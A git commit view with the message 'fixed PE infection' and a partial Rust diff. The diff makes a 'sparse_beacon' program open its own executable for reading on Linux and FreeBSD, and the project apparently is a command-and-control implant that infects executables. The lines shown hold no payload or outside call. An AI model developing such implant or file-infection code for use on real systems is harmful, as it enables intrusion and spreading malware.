fix: fixed PE infection

This commit is contained in:
Andrew Rioux
2025-02-19 22:40:39 -05:00
parent d823603054
commit 005048f1ce
10 changed files with 118 additions and 92 deletions

View File

@@ -17,6 +17,13 @@ use freebsd::FreeBsdAdapter as Adapter;
#[tokio::main]
async fn main() -> Result<(), sparse_beacon::BeaconError<<Adapter as BeaconAdapter>::Error>> {
#[cfg(target_os = "linux")]
let mut binary_file = tokio::fs::OpenOptions::new()
.read(true)
.open("/proc/self/exe")
.await?;
#[cfg(target_os = "freebsd")]
let mut binary_file = tokio::fs::OpenOptions::new()
.read(true)
.open(std::env::current_exe()?)